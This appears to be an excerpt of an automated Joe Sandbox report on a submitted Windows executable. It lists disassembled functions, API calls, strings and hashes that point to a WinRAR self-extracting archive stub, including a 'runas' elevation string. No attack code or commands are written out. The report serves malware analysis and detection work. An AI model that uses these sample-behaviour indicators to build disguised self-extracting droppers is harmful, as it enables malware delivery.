imageres.dll, xrefs: 00007FF7B67CE10F
crypt32.dll, xrefs: 00007FF7B67CE04B
msasn1.dll, xrefs: 00007FF7B67CE059
netapi32.dll, xrefs: 00007FF7B67CE02F
UXTheme.dll, xrefs: 00007FF7B67CDF76
cryptbase.dll, xrefs: 00007FF7B67CDF8C
profapi.dll, xrefs: 00007FF7B67CE0C9
dwmapi.dll, xrefs: 00007FF7B67CDF81, 00007FF7B67CE525
RpcRtRemote.dll, xrefs: 00007FF7B67CE227
samcli.dll, xrefs: 00007FF7B67CE18D
dnsapi.DLL, xrefs: 00007FF7B67CE11D
srvcli.dll, xrefs: 00007FF7B67CE0E5
DXGIDebug.dll, xrefs: 00007FF7B67CDF4A, 00007FF7B67CE47A

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$AddressProc$DirectoryHandleLibraryLoadModuleSystem
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 751436351-2013832382
Opcode ID: f78b425ef7c9806926ef385795881ea8e168adf272e7bc47f5392eb39b52bdc1
Instruction ID: cdadbe2365e1d9ef9a9345593421df30c07b18db29ebf5a19acf721b144d2360
Opcode Fuzzy Hash: f78b425ef7c9806926ef385795881ea8e168adf272e7bc47f5392eb39b52bdc1
Instruction Fuzzy Hash: 58627031A19B8295EB10AF68EC605EAB364FF6A764F900272DB4C067ADEF3CD154C750

Function 00007FF7B67DECE0 Relevance: 125.7, APIs: 61, Strings: 10, Instructions: 1421windowfilesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67C215C: GetDlgItem.USER32 ref: 00007FF7B67C21AC
Part of subcall function 00007FF7B67C215C: SetWindowTextW.USER32 ref: 00007FF7B67C21C8

EndDialog.USER32 ref: 00007FF7B67DEE20
SetDlgItemTextW.USER32 ref: 00007FF7B67DEE70
GetMessageW.USER32 ref: 00007FF7B67DEEA0
IsDialogMessageW.USER32 ref: 00007FF7B67DEEB9
TranslateMessage.USER32 ref: 00007FF7B67DEECB
DispatchMessageW.USER32 ref: 00007FF7B67DEED9
EndDialog.USER32 ref: 00007FF7B67DEF23
GetDlgItem.USER32 ref: 00007FF7B67DEF60
SendMessageW.USER32 ref: 00007FF7B67DEF81
SendMessageW.USER32 ref: 00007FF7B67DEF99
SetFocus.USER32 ref: 00007FF7B67DEFA2
GetLastError.KERNEL32 ref: 00007FF7B67DF184
GetLastError.KERNEL32 ref: 00007FF7B67DF1B5
GetTickCount.KERNEL32 ref: 00007FF7B67DF1DB
GetLastError.KERNEL32 ref: 00007FF7B67DF245
GetCommandLineW.KERNEL32 ref: 00007FF7B67DF391
CreateFileMappingW.KERNEL32 ref: 00007FF7B67DF450
MapViewOfFile.KERNEL32 ref: 00007FF7B67DF473
ShellExecuteExW.SHELL32 ref: 00007FF7B67DF4AB
Sleep.KERNEL32 ref: 00007FF7B67DF506
UnmapViewOfFile.KERNEL32 ref: 00007FF7B67DF52F
CloseHandle.KERNEL32 ref: 00007FF7B67DF538
SetDlgItemTextW.USER32 ref: 00007FF7B67DF82E
DialogBoxParamW.USER32 ref: 00007FF7B67DFC27
EndDialog.USER32 ref: 00007FF7B67DFC3F
EnableWindow.USER32 ref: 00007FF7B67DFDF6
SendMessageW.USER32 ref: 00007FF7B67DFE48
WaitForInputIdle.USER32 ref: 00007FF7B67DF4F3

Part of subcall function 00007FF7B67CAEE0: LoadStringW.USER32 ref: 00007FF7B67CAF67
Part of subcall function 00007FF7B67CAEE0: LoadStringW.USER32 ref: 00007FF7B67CAF80

SendMessageW.USER32 ref: 00007FF7B67DFA13
SendDlgItemMessageW.USER32 ref: 00007FF7B67DFA3A
GetDlgItem.USER32 ref: 00007FF7B67DFA48
SendMessageW.USER32 ref: 00007FF7B67DFA62
GetDlgItem.USER32 ref: 00007FF7B67DFA9F
SetDlgItemTextW.USER32 ref: 00007FF7B67DFB3C
SetDlgItemTextW.USER32 ref: 00007FF7B67DFB54
SetDlgItemTextW.USER32 ref: 00007FF7B67DFE71
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DFEB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DFEB9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DFEBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DFEC5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DFECB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DFED1
SendDlgItemMessageW.USER32 ref: 00007FF7B67DFF99
EndDialog.USER32 ref: 00007FF7B67DFFB3
GetDlgItem.USER32 ref: 00007FF7B67DFFE1
SetFocus.USER32 ref: 00007FF7B67DFFEA
SendDlgItemMessageW.USER32 ref: 00007FF7B67E008E
FindFirstFileW.KERNEL32 ref: 00007FF7B67E00B2
FindClose.KERNEL32 ref: 00007FF7B67E01DA
SendDlgItemMessageW.USER32 ref: 00007FF7B67E02FF

Part of subcall function 00007FF7B67C12BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B67C13B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E05F9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E05FF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E0605
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E060B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E0611
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E0617

Strings

__tmp_rar_sfx_access_check_, xrefs: 00007FF7B67DF1F9
winrarsfxmappingfile.tmp, xrefs: 00007FF7B67DF430
LICENSEDLG, xrefs: 00007FF7B67DFC19
p, xrefs: 00007FF7B67DF2FB
-el -s2 "-d%s" "-sp%s", xrefs: 00007FF7B67DF2E9
@, xrefs: 00007FF7B67DF306
%s %s, xrefs: 00007FF7B67E0229, 00007FF7B67E0496
STARTDLG, xrefs: 00007FF7B67DED1A
REPLACEFILEDLG, xrefs: 00007FF7B67DFF23
runas, xrefs: 00007FF7B67DF319

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Item$Message$_invalid_parameter_noinfo_noreturn$Send$DialogText$File$ErrorLast$CloseFindFocusLoadStringViewWindow$CommandConcurrency::cancel_current_taskCountCreateDispatchEnableExecuteFirstHandleIdleInputLineMappingParamShellSleepTickTranslateUnmapWait
String ID: %s %s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$REPLACEFILEDLG$STARTDLG$__tmp_rar_sfx_access_check_$p$runas$winrarsfxmappingfile.tmp
API String ID: 2514108016-2702805183
Opcode ID: a66edffab326443d40671df1bcde871674552806ff4e812b75baacf40dcb8f2e
Instruction ID: 1494ef480547b3555e7a06a9d872da019c8bdc9ae2582ea22c5e75c226fe2a51
Opcode Fuzzy Hash: a66edffab326443d40671df1bcde871674552806ff4e812b75baacf40dcb8f2e
Instruction Fuzzy Hash: F8D2B3A1A0868281EA20FB2CDC646BBA351EFAB790FC04571DB4D476ADDF3CE554C760

Function 00007FF7B67E09D8 Relevance: 66.7, APIs: 27, Strings: 10, Instructions: 1963windowfileCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7B67E1143
SendMessageW.USER32 ref: 00007FF7B67E1176
SendMessageW.USER32 ref: 00007FF7B67E11A5
SHFileOperationW.SHELL32 ref: 00007FF7B67E150B
MoveFileW.KERNEL32 ref: 00007FF7B67E169B
MoveFileExW.KERNEL32 ref: 00007FF7B67E16B9
GetTempPathW.KERNEL32 ref: 00007FF7B67E1799

Part of subcall function 00007FF7B67C1B70: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C1BCB

EndDialog.USER32 ref: 00007FF7B67E1B1A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B67E2A33
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A3F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A57
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A5D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A63
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A69
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A6F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A75
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A7B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A81
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A87
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A8D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A93
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A99
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2A9F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2AA5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E2AAB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B67E2AB7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B67E2AC3

Strings

.tmp, xrefs: 00007FF7B67E15D5
MAX, xrefs: 00007FF7B67E25D2, 00007FF7B67E25E1
HIDE, xrefs: 00007FF7B67E2535, 00007FF7B67E2544
@set:user, xrefs: 00007FF7B67E18E6, 00007FF7B67E18F5
ProgramFilesDir, xrefs: 00007FF7B67E1040
.lnk, xrefs: 00007FF7B67E1F56, 00007FF7B67E1F65
lnk, xrefs: 00007FF7B67E1F1A, 00007FF7B67E1F29
MIN, xrefs: 00007FF7B67E2635, 00007FF7B67E2644
<br>, xrefs: 00007FF7B67E122A, 00007FF7B67E1239
Software\Microsoft\Windows\CurrentVersion, xrefs: 00007FF7B67E1051

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskFile$MessageMoveSend$DialogItemOperationPathTemp
String ID: .lnk$.tmp$<br>$@set:user$HIDE$MAX$MIN$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$lnk
API String ID: 2933078328-3916287355
Opcode ID: 4370443617ec8adaa6df08b185beacef27ced4d68d4b96ce31a73b0af774f01f
Instruction ID: 24ee0d13aca8758c581b6962bb4a9dbe3f88a2cddc3665f7512a30e73b3d166f
Opcode Fuzzy Hash: 4370443617ec8adaa6df08b185beacef27ced4d68d4b96ce31a73b0af774f01f
Instruction Fuzzy Hash: 7913E362B1478284EB10EF68CC602EE77A5FB2A398F900575DB1D17A9DDF38D598C360

Function 00007FF7B67E400C Relevance: 47.8, APIs: 22, Strings: 5, Instructions: 539
filetimewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7B67CDC4C: GetModuleHandleW.KERNEL32(?,?,?,00000000,?), ref: 00007FF7B67CDEDC
Part of subcall function 00007FF7B67CDC4C: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7B67CDEF4
Part of subcall function 00007FF7B67CDC4C: GetProcAddress.KERNEL32(?,?,?,00000000,?), ref: 00007FF7B67CDF21

Part of subcall function 00007FF7B67C7A28: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7B67C7A3E
Part of subcall function 00007FF7B67C7A28: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7B67C7A78

Part of subcall function 00007FF7B67DD0A8: OleInitialize.OLE32 ref: 00007FF7B67DD0C2
Part of subcall function 00007FF7B67DD0A8: SHGetMalloc.SHELL32 ref: 00007FF7B67DD110

GetCommandLineW.KERNEL32 ref: 00007FF7B67E4226
OpenFileMappingW.KERNEL32 ref: 00007FF7B67E42BF
MapViewOfFile.KERNEL32 ref: 00007FF7B67E42E8
UnmapViewOfFile.KERNEL32 ref: 00007FF7B67E42FE
MapViewOfFile.KERNEL32 ref: 00007FF7B67E431B
UnmapViewOfFile.KERNEL32 ref: 00007FF7B67E4382
CloseHandle.KERNEL32 ref: 00007FF7B67E438B
SetEnvironmentVariableW.KERNEL32 ref: 00007FF7B67E4465
GetLocalTime.KERNEL32 ref: 00007FF7B67E4470
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B67E44CB
SetEnvironmentVariableW.KERNEL32 ref: 00007FF7B67E44DE
GetModuleHandleW.KERNEL32 ref: 00007FF7B67E44E6
LoadIconW.USER32 ref: 00007FF7B67E4505
DialogBoxParamW.USER32 ref: 00007FF7B67E456E
SleepEx.KERNEL32 ref: 00007FF7B67E459E
DeleteObject.GDI32 ref: 00007FF7B67E45C5
DeleteObject.GDI32 ref: 00007FF7B67E45D7
CloseHandle.KERNEL32 ref: 00007FF7B67E461F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E468F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E4695
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E469B

Part of subcall function 00007FF7B67E3810: SetEnvironmentVariableW.KERNEL32 ref: 00007FF7B67E3847
Part of subcall function 00007FF7B67E3810: SetEnvironmentVariableW.KERNEL32 ref: 00007FF7B67E38C0

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67E4964

Strings

winrarsfxmappingfile.tmp, xrefs: 00007FF7B67E42B1
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00007FF7B67E44BA
STARTDLG, xrefs: 00007FF7B67E455D
sfxname, xrefs: 00007FF7B67E4453
sfxstime, xrefs: 00007FF7B67E44D7

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: File$EnvironmentHandleVariableView_invalid_parameter_noinfo_noreturn$AddressCloseCurrentDeleteDirectoryModuleObjectProcUnmap$CommandDialogIconInitializeLineLoadLocalMallocMappingOpenParamSleepTimeswprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3767324925-3710569615
Opcode ID: 203c3974c9ad1f337e53d78aa59b9f2d0e714c4cefd67d92d4615c41708c85ab
Instruction ID: 37e56958dc41a6a3db9b719d88e45f712ad10d9f0d701b237b138e66a891572c
Opcode Fuzzy Hash: 203c3974c9ad1f337e53d78aa59b9f2d0e714c4cefd67d92d4615c41708c85ab
Instruction Fuzzy Hash: E842B462A19B8281EB10EF2CDC642BAA365FFAAB94F904171DB4C4669DDF3CD154C320

Function 00007FF7B67CA8AC Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7B67CA904

Part of subcall function 00007FF7B67D0688: WideCharToMultiByte.KERNEL32 ref: 00007FF7B67D06B9

SetDlgItemTextW.USER32 ref: 00007FF7B67CA973
GetWindowRect.USER32 ref: 00007FF7B67CA9AD
GetClientRect.USER32 ref: 00007FF7B67CA9BB
GetWindowLongPtrW.USER32 ref: 00007FF7B67CAA6C
GetWindowRect.USER32 ref: 00007FF7B67CAAB2
SetWindowTextW.USER32 ref: 00007FF7B67CAAEC
GetSystemMetrics.USER32 ref: 00007FF7B67CAAF7
GetWindow.USER32 ref: 00007FF7B67CAB08
GetWindowRect.USER32 ref: 00007FF7B67CAB46
GetWindow.USER32 ref: 00007FF7B67CAC08

Strings

$%s:, xrefs: 00007FF7B67CA8EF
CAPTION, xrefs: 00007FF7B67CAACF

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 2100155373-404845831
Opcode ID: 37b82379b4c8609f857ddfdd2aaec8a8c1c03398c79129c67daa6eff71331f07
Instruction ID: aba1ce00e2899b53bfe3d6be09f4a095d7c3870cca9ec6e94cb727cd5af30a98
Opcode Fuzzy Hash: 37b82379b4c8609f857ddfdd2aaec8a8c1c03398c79129c67daa6eff71331f07
Instruction Fuzzy Hash: 2A91E676B1868186E714EF2DAC1066AA7A1FB9AB84F805535EF4D47B5CCF3CE805CB10

Function 00007FF7B67DC260 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 101
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7B67E4517), ref: 00007FF7B67DC279
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7B67E4517), ref: 00007FF7B67DC295
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7B67E4517), ref: 00007FF7B67DC2AF
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,00001000,00007FF7B67E4517), ref: 00007FF7B67DC2C1
GlobalAlloc.KERNEL32 ref: 00007FF7B67DC2E2
GlobalLock.KERNEL32 ref: 00007FF7B67DC2F7
CreateStreamOnHGlobal.COMBASE ref: 00007FF7B67DC324
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 00007FF7B67DC3A5
GlobalUnlock.KERNEL32 ref: 00007FF7B67DC3C8
GlobalFree.KERNEL32 ref: 00007FF7B67DC3D1

Strings

PNG, xrefs: 00007FF7B67DC26B

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: 52838de665b1cfca97a252f31006ab2ca50257577933ff1d2f2095c083ed68dc
Instruction ID: 7b8bbf62fb7c3b873c2c7915fc727fa499179c5c90571ce7bd1604be2a3925cc
Opcode Fuzzy Hash: 52838de665b1cfca97a252f31006ab2ca50257577933ff1d2f2095c083ed68dc
Instruction Fuzzy Hash: 94415461A09B4681EB04AB6DD86837AE3A4AF6EF90F844475CF0D4739CDF7CE4448720

Function 00007FF7B67C647C Relevance: 10.7, APIs: 7, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7B67C64CB
FindFirstFileW.KERNEL32 ref: 00007FF7B67C651E
GetLastError.KERNEL32 ref: 00007FF7B67C656F
FindNextFileW.KERNEL32 ref: 00007FF7B67C6597
GetLastError.KERNEL32 ref: 00007FF7B67C65A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C66CF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C66D5

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: FileFind$ErrorFirstLast_invalid_parameter_noinfo_noreturn$Next
String ID:
API String ID: 474548282-0
Opcode ID: 9e2131fdd348412ea29fb79e3f45126eacfe5ffc882fb6d768e47b091ae13561
Instruction ID: 44769f9861abc4c4a0829452b225b4d3d2a48b0699b1722c757973f482450b75
Opcode Fuzzy Hash: 9e2131fdd348412ea29fb79e3f45126eacfe5ffc882fb6d768e47b091ae13561
Instruction Fuzzy Hash: F161D962A18A8581DA10EB1CE89026AA761FBAE7B4F904371EB7D436DDDF3CD484C710

Function 00007FF7B67D569C Relevance: 1.6, Strings: 1, Instructions: 335COMMON

Download Yara Rule

Strings

c, xrefs: 00007FF7B67D59E4

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: 38fcd14a0c0e22dcc02e21086db45a874c8db68944d9ab85a23f3bc0e9adee56
Instruction ID: ab520a8a321d11dc1fc56133dc19bec511dc5fbc0f561b11e32b3499501b6b57
Opcode Fuzzy Hash: 38fcd14a0c0e22dcc02e21086db45a874c8db68944d9ab85a23f3bc0e9adee56
Instruction Fuzzy Hash: EDE10372A186918BE714DF2CD8502AEBBA1F7A9358F548539DB5953B8CDF3CE800CB10

Function 00007FF7B67D6294 Relevance: .5, Instructions: 494COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cb80b51aadf55173622e9201162bdeefa438da09f0e939214a635ea07f0a5fc
Instruction ID: c54e0623798c8141bffdfea1672256198d5cb8ed435e2a605084e75dc2434451
Opcode Fuzzy Hash: 4cb80b51aadf55173622e9201162bdeefa438da09f0e939214a635ea07f0a5fc
Instruction Fuzzy Hash: DC2201E2E0C65282EA10EB1C9C7017FE291BF6A754F9809B5DB5E576DCDE3DE8408720

Function 00007FF7B67E5390 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 195
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DloadAcquireSectionWriteAccess.DELAYIMP ref: 00007FF7B67E53B5

Part of subcall function 00007FF7B67E4FE8: DloadProtectSection.DELAYIMP ref: 00007FF7B67E5059

RaiseException.KERNEL32 ref: 00007FF7B67E5437
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF7B67E5423

Part of subcall function 00007FF7B67E52F8: DloadProtectSection.DELAYIMP ref: 00007FF7B67E5357

LoadLibraryExA.KERNEL32 ref: 00007FF7B67E54D6
GetLastError.KERNEL32 ref: 00007FF7B67E54E4
DloadReleaseSectionWriteAccess.DELAYIMP ref: 00007FF7B67E5516
RaiseException.KERNEL32 ref: 00007FF7B67E552A

Strings

H, xrefs: 00007FF7B67E5404

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

